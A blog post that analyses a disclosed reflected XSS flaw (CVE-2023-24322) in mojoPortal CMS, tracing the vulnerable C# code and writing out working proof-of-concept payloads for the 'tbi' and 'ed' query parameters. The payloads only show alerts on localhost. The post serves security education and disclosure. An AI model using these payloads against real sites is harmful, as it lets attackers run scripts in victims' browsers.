DEV Community

Sergey Vasiliev
Sergey Vasiliev

Posted on

XSS vulnerability in the ASP.NET application: CVE-2023-24322 in mojoPortal CMS

1054_XSS_mojoPortal/image1.png

In this article, we will thoroughly examine the XSS vulnerability in a CMS written in C#. Let's recall the theory, figure out how the security defect looks from a user's perspective and in code, and also practice writing exploits.

What is cross-site scripting (XSS)?

Note. You can skip this section if you are already familiar with the XSS basics.

XSS (cross-site scripting) is an application vulnerability that involves injecting code into a page viewed by a user. If the application is not protected from XSS, an attacker can inject JavaScript code and steal data or perform other malicious actions.

The simplest example of XSS is when data from parameters or input fields are used without checking/escaping the data itself.

Let's say there is a JS script that extracts the name parameter value from the query string and welcomes the user on the web page:

<script>
  var urlParams = new URLSearchParams(window.location.search);
  var nameParam = urlParams.get("name");
  var name = nameParam ? nameParam : "stranger";

  document.write('<div>Hello '+ name + '!</div>');
</script>
Enter fullscreen mode Exit fullscreen mode

We make a request of the XSSExample.html?name=John kind and get the expected response on the page — "Hello John!".

However, if we pass a script instead of the name, it will also be injected in the document's body and executed.

Request example:

XSSExample.html?name=<script>alert('Ooops, it looks insecure...')</script>
Enter fullscreen mode Exit fullscreen mode

Result:

1054_XSS_mojoPortal/image2.png

We've successfully injected the code. This security flaw is called reflected XSS. The injected script is not saved anywhere, and the attacker intends to make the victim make an insecure request to the page (for example, by opening a malicious link). Obviously, not to show the form — it's just a simple way to confirm XSS presence.

Analysis of XSS in mojoPortal CMS (CVE-2023-24322)

Now when we're done with the theory and synthetic examples, let's turn to the analysis of the specific XSS in the open-source project mojoPortal. mojoPortal is a CMS written in C# using ASP.NET. The project's source code is available on GitHub. The XSS vulnerability we are discussing today was discovered in the 2.7.0.0 version.

This vulnerability has the CVE-2023-24322 identifier:

A reflected cross-site scripting (XSS) vulnerability in the FileDialog.aspx component of mojoPortal v2.7.0.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the ed and tbi parameters.

Here are some key points from the description:

  • the vulnerability is located on the FileDialog.aspx page;
  • the security flaw can be exploited via the ed and tbi request parameters.

What is the first thing that comes to mind when trying to check XSS? Probably, passing data like <script>alert(0)</script> via the vulnerable parameter. :)

Let's try writing this string to both parameters and see what happens.

Writing it to the ed parameter yields no results.

1054_XSS_mojoPortal/image3.png

But if we pass the same string via the tbi parameter, then the page content will change in an interesting way:

1054_XSS_mojoPortal/image4.png

However, this is still not what we expected — the pop-up window (the alert call result) did not appear.

So that we can better understand what is happening and create exploits, let's look into the source code and see how the values of request parameters are used.

General logic

Let's look at the code and see what unites the ed and tbi parameters, then we will analyze their processing.

We will start with the Page_Load method that handles the FileDialog.aspx page load event:

protected void Page_Load(object sender, EventArgs e)
{
  LoadSettings();
  if (fileSystem == null) { return; }
  PopulateLabels();
  SetupScripts();
}
Enter fullscreen mode Exit fullscreen mode

Firstly, we are interested in the LoadSettings method logic. The values of the ed and tbi parameters are written to editorType and clientTextBoxId fields, respectively.

public partial class FileDialog : Page
{
  private string editorType = string.Empty;
  private string clientTextBoxId = string.Empty;
  ....

  private void LoadSettings()
  {
    ....
    if (Request.QueryString["ed"] != null)
    {
      editorType = Request.QueryString["ed"];
    }
    ....
    if (Request.QueryString["tbi"] != null)
    {
      clientTextBoxId = Request.QueryString["tbi"];
    }
    ....
  }
  ....
}
Enter fullscreen mode Exit fullscreen mode

Going back to Page_Load:

protected void Page_Load(object sender, EventArgs e)
{
  LoadSettings();
  if (fileSystem == null) { return; }
  PopulateLabels();
  SetupScripts();
}
Enter fullscreen mode Exit fullscreen mode

Checking fileSystem == null results in false, and we are not interested in the PopulateLabels method. Therefore, let's look at the SetupScripts body:

private void SetupScripts()
{
  SetupMainScript();
  SetupjQueryFileTreeScript();
  SetupClearFileInputScript();
}
Enter fullscreen mode Exit fullscreen mode

There are 2 methods that are relevant to us: SetupMainScript and SetupjQueryFileTreeScript. Why? You will understand that a little later.

Let's start with the SetupMainScript method:

private void SetupMainScript()
{
  switch (editorType)
  {
    case "tmc":
      SetupTinyMce();
      break;

    case "ck":
      SetupCKeditor();
      break;

    case "fck":
      SetupFCKeditor();
      break;

    default:
      SetupDefaultScript();
      break;
  }
}
Enter fullscreen mode Exit fullscreen mode

Here we can see switch and the editorType field (the ed parameter) that was mentioned before. We influence the code execution logic by changing the parameter value. Now let's take a look at the default section and the SetupDefaultScript method call:

//this is used by /Controls/FileBrowserTextBoxExtender.cs
private void SetupDefaultScript()
{
  btnSubmit.Attributes.Add("onclick", "fbSubmit(); return false; ");

  StringBuilder script = new StringBuilder();
  script.Append("\n<script type=\"text/javascript\">");
  script.Append("function fbSubmit () {");

  if(browserType == "folder")
  {
    script.Append(
        "var URL = document.getElementById('" 
      + hdnFolder.ClientID 
      + "').value; ");
  }
  else
  {
    script.Append(
        "var URL = document.getElementById('" 
      + hdnFileUrl.ClientID 
      + "').value; ");
  }

  //script.Append("alert(URL);");

  script.Append("top.window.SetUrl(URL, '" + clientTextBoxId + "');");
  //script.Append("window.close();");
  //script.Append("window.opener.focus();");

  script.Append("}");
  script.Append("\n</script>");

  this.Page
      .ClientScript
      .RegisterClientScriptBlock(typeof(Page),
                                 "fbsubmit",
                                 script.ToString());
}
Enter fullscreen mode Exit fullscreen mode

Interesting. The method gradually writes the JavaScript code to the script variable, then it registers the script via the RegisterClientScriptBlock method call. At the same time, the clientTextBoxId value corresponding to the tbi parameter is also inserted in the script.

A similar thing is observed in the SetupjQueryFileTreeScript method, which I mentioned earlier. The method also generates and registers the script using the editorType value (which corresponds to the ed parameter).

Because the SetupjQueryFileTreeScript method is fairly long, I've shortened it below. Here you can find the full version of the code.

private void SetupjQueryFileTreeScript()
{
  ....
  StringBuilder script = new StringBuilder();
  script.Append("\n<script type=\"text/javascript\">");
  ....
  script.Append(
      "var returnUrl = encodeURIComponent('" 
    + navigationRoot 
    + "/Dialog/FileDialog.aspx?ed=" 
    + editorType 
    + "&type=" 
    + browserType 
    + "&dir=' + selDir) ; ");
  ....
  script.Append("\n</script>");

  this.Page
      .ClientScript
      .RegisterStartupScript(
        typeof(Page),
        "jqftinstance",
        script.ToString());
}
Enter fullscreen mode Exit fullscreen mode

This is an important point, so let's go over it again.

Both methods (SetupDefaultScript and SetupjQueryFileTreeScript) have a similar structure. They use the HTTP request parameter values (tbi and ed) to create the script.

In a generalized (and simplified) form, the code looks like this:

void SetupScript()
{
  StringBuilder script = new StringBuilder();
  script.Append("\n<script type=\"text/javascript\">");
  script.Append(....);
  // tbi and ed values are appended to the script
  ....
  script.Append("\n</script>");
  this.Page
      .RegisterScript(typeof(Page),
                      ....,
                      script.ToString());
}
Enter fullscreen mode Exit fullscreen mode

Our task is to "break" the script written to the script variable. If we succeed, we will change the logic of the generated script and see the result of the code injection.

Since scripts differ in structure and nesting, exploits will also be different. Let's examine each of them separately.

A note on scripts formatting. In the article, I formatted the JS scripts for better readability. In fact, they are written in 2 lines: the opening tag with the script body on the first line and the closing tag on the second one:

<script type="text/javascript">function fbSubmit () { .... }
</script>
Enter fullscreen mode Exit fullscreen mode

Here you can find the full script with its original formatting.

Remember this feature, as it affects the exploit.

Exploit with the tbi parameter

The script with the tbi parameter looks simpler, so we will start with it.

Let's make a request of the following type:

http://localhost:56987/Dialog/FileDialog.aspx/?tbi=TestPayload
Enter fullscreen mode Exit fullscreen mode

Then the JS code generated in the SetupDefaultScript method may look like this:

<script type = "text/javascript">
  function fbSubmit() {
    var URL = document.getElementById('hdnFileUrl').value;
    top.window.SetUrl(URL, 'TestPayload');
  }
</script>
Enter fullscreen mode Exit fullscreen mode

Look at the second argument of the SetUrl method: that's where our data, wrapped in quotes, ended up.

Let's try to create a request that will "break" the script and allow us to inject the code. The exploit must solve the following tasks:

  • "close" the second argument of the SetUrl function;
  • "close" the SetUrl function call;
  • going beyond the fbSubmit function body;
  • inject the code;
  • comment out the remaining piece of the original code (the one that closes the substitution template).

The following string should solve all of the tasks:

TestPayload');}alert('You have been hacked via XSS');//
Enter fullscreen mode Exit fullscreen mode

Let's analyze what its parts do:

  • TestPayload' "closes" the function argument;
  • ); "closes" the SetUrl function call;
  • } "closes" the fbSubmit function body;
  • alert('You have been hacked via XSS'); — the main injection logic;
  • // — comments out the part of the original template that was left after substituting — ');}.

Now let's check our assumption. To do this, we will make the following request:

http://localhost:56987/Dialog/FileDialog.aspx/?tbi=TestPayload');}alert('You have been hacked via XSS');//
Enter fullscreen mode Exit fullscreen mode

The result was to be expected:

1054_XSS_mojoPortal/image5.png

Now the generated JS code with such a request looks like this:

<script type = "text/javascript">
  function fbSubmit() { 
    var URL = document.getElementById('hdnFileUrl').value;   
    top.window.SetUrl(URL, 'TestPayload'); 
  } 
  alert('You have been hacked via XSS'); //');} 
</script>
Enter fullscreen mode Exit fullscreen mode

As you can see, the exploit solved all the tasks: it helped us to go beyond the function and successfully inject the code.

Well, that's great! We've figured out how to exploit the XSS vulnerability with the tbi parameter. Now let's move on to the second vulnerable parameter — ed.

Exploit with the ed parameter

The principle of creating an exploit for the ed parameter is similar to tbi.

Let me remind you that the JS code, in which the value of the ed parameter is inserted, is generated in the SetupjQueryFileTreeScript (link) method.

Let's make a request of the following type:

http://localhost:56987/Dialog/FileDialog.aspx/?ed=TestPayload
Enter fullscreen mode Exit fullscreen mode

Now let's look at the generated script. The full version is here, I give a shortened version below:

<script type="text/javascript"> 
  ....
  $(document).ready(function () {
    ....
    $('#pnlFileTree').fileTree({
      ....
    }, function (file) {
      ....
      var returnUrl = encodeURIComponent(
        'http://localhost:56987/Dialog
           /FileDialog.aspx?ed=TestPayload&type=image&dir='
      + selDir);
      ....
    }, function (folder) {
      ....
    });
  });
  ....
</script>
Enter fullscreen mode Exit fullscreen mode

Note that the ed parameter value (the TestPayload string) got inside the literal.

We face a task similar to the previous one. It is necessary to select the data that would help go beyond the argument of the encodeURIComponent function and inject the code.

The exploit should solve several tasks as well:

  • "close" the encodeURIComponent function argument;
  • "close" functions' calls and bodies;
  • inject the code;
  • comment out the template's "tail" that will be left after we implement the logic.

The following string meets all the requirements:

TestPayload');});});alert('You have been hacked via XSS');//
Enter fullscreen mode Exit fullscreen mode

The purpose of its components is also clear:

  • TestPayload' "closes" the encodeURIComponent function argument;
  • ); "closes" the encodeURIComponent function call;
  • });}); "closes" the external functions' bodies;
  • alert('You have been hacked via XSS'); — the main injection logic;
  • // comments out the part of the original script that remained after substitution.

Let's make the following request:

http://localhost:56987/Dialog/FileDialog.aspx/?ed=TestPayload');});});alert('You have been hacked via XSS');//
Enter fullscreen mode Exit fullscreen mode

Take a look at the result:

1054_XSS_mojoPortal/image6.png

We got exactly what we expected.

The parameter value specified above made the generated JS code look like this (this version is shortened, and here is the full one):

<script type = "text/javascript">
  ....
  $(document).ready(function () {
    ....
    $('#pnlFileTree').fileTree({
      ....
    }, function (file) {
      ....
      var returnUrl = encodeURIComponent(
        'http://localhost:56987/Dialog/FileDialog.aspx?ed=TestPayload');
    });
  });
  alert('You have been hacked via XSS'); //&type=image&dir=' + selDir ....
</script>
Enter fullscreen mode Exit fullscreen mode

Everything worked just as we expected: we exited the function bodies and inserted our code. You can see how the script changed its logic after we successfully injected data from our request into it.

1054_XSS_mojoPortal/image7.png

How did developers fix the code?

The current version of the project doesn't have the FileDialog.aspx.cs file, which had vulnerabilities. I may assume that the code has been rewritten or just deleted.

Conclusion

We have figured out how XSS might look like in a real project. Let's sum up the main points — it will come in handy if you'd like to tinker with the vulnerability yourself:

  • CVE-ID: CVE-2023-24322
  • Project: mojoPortal v2.7.0.0
  • the vulnerability description: it's possible to exploit XSS on the /Dialog/FileDialog.aspx page when using the ed and tbi parameters
  • possible exploit for ed: TestPayload');});});alert('You have been hacked via XSS');//
  • possible exploit for tbi: TestPayload');}alert('You have been hacked via XSS');//

If you liked this article and want to read more on the security topic, you are welcome to the blog.

If you want to check your project's code for security flaws (XSS, SQLi, XXE, etc.), try to analyze it with PVS-Studio.

Top comments (0)